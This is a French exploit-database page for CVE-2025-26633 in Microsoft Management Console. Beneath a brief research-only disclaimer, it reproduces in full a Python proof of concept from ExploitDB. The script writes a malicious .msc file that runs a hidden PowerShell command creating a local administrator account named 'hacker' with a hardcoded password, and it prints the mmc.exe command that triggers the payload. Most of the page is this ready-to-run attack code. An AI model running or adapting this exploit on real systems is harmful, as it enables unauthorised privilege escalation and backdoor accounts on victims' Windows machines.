Exploit matérialisé

CVE-2025-26633

HIGH KEV

1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.

ExploitDB local windows

Source

Microsoft MMC MSC EvilTwin - Local Admin Creation

Par Mohammed Idrees Banyamer

Comment tester cet exploit

Exploit local. Exécutez sur une installation vulnérable en VM jetable et vérifiez l'élévation de privilèges.

python3 52498.py

Code py

#!/usr/bin/env python3
# Exploit Title: Microsoft MMC MSC EvilTwin - Local Admin Creation
# Date: 2025-11-22
# Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://www.microsoft.com
# Software Link: N/A (built-in Windows component - mmc.exe)
# Version: Windows 10 all editions, Windows 11 all editions, Windows Server 2016-2025
# Tested on: Windows 11 24H2 (unpatched), Windows 10 22H2 (unpatched)
# CVE: CVE-2025-26633
# CVSS: 7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
# Category: Local
# Platform: Windows
# CRITICAL: This is a post-exploitation / living-off-the-land technique widely used in real attacks
# Including: Zero-day at time of disclosure (March 2025), actively exploited by Water Gamayun APT
# Impact: Arbitrary code execution with the privileges of the user opening the .msc file
# Fix: Apply Microsoft Patch Tuesday March 2025 updates (e.g., KB5053602 and later)
# Advisory: https://www.zerodayinitiative.com/advisories/ZDI-25-25-150/
# Patch: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-26633
# Target: Unpatched Windows systems (pre March 2025 patches)

# CVE-2025-26633 Proof of Concept – Add Local Administrator Account
# Use ONLY in authorized penetration testing or isolated research labs

import os
import xml.etree.ElementTree as ET

# PAYLOAD: Adds local administrator account "hacker" silently
PAYLOAD = (
    'powershell.exe -NoP -W Hidden -C "'
    '$user = \\\'hacker\\\'; '
    '$pass = ConvertTo-SecureString \\\'P@ssw0rd123!\\\' -AsPlainText -Force; '
    'New-LocalUser -Name $user -Password $pass -FullName \\\'Lab User\\\' '
    '-Description \\\'Research account\\\' -ErrorAction SilentlyContinue; '
    'Add-LocalGroupMember -Group \\\'Administrators\\\' -Member $user '
    '-ErrorAction SilentlyContinue; '
    'Write-Host \\\'[+] User hacker:P@ssw0rd123! added to Administrators\\\'"'
)

def create_evil_msc(filename="CVE-2025-26633-AddAdmin.msc"):
    root = ET.Element("MMC_ConsoleFile", ConsoleVersion="3.0")

    string_table = ET.SubElement(root, "StringTable")
    ET.SubElement(string_table, "String", id="1").text = "Local Users and Groups"
    ET.SubElement(string_table, "String", id="2").text = "Security Research Snap-in"

    snapins = ET.SubElement(root, "SnapIns")
    snapin = ET.SubElement(snapins, "SnapIn")

    ET.SubElement(snapin, "Name").text = "{7B8B9A1C-2D3E-4F5A-9B6C-1A2B3C4D5E6F}"
    ET.SubElement(snapin, "Description").text = "Custom Administration Tool"

    actions = ET.SubElement(snapin, "Actions")
    action = ET.SubElement(actions, "Action")
    ET.SubElement(action, "RunCommand").text = PAYLOAD
    ET.SubElement(action, "Name").text = "AddLocalAdmin"

    tree = ET.ElementTree(root)
    tree.write(filename, encoding="utf-16", xml_declaration=True)
    print(f"[+] Malicious .msc file successfully created: {filename}")

def main():
    msc_file = "CVE-2025-26633-AddAdmin.msc"
    create_evil_msc(msc_file)

    print("\n[+] Next step (execute inside vulnerable target or lab VM):")
    print(f"    mmc.exe \"{os.path.abspath(msc_file)}\"\n")
    print("[!] Instant local admin account will be created:")
    print("    Username : hacker")
    print("    Password : P@ssw0rd123!")
    print("    Verify with: net localgroup administrators")

if __name__ == "__main__":
    main()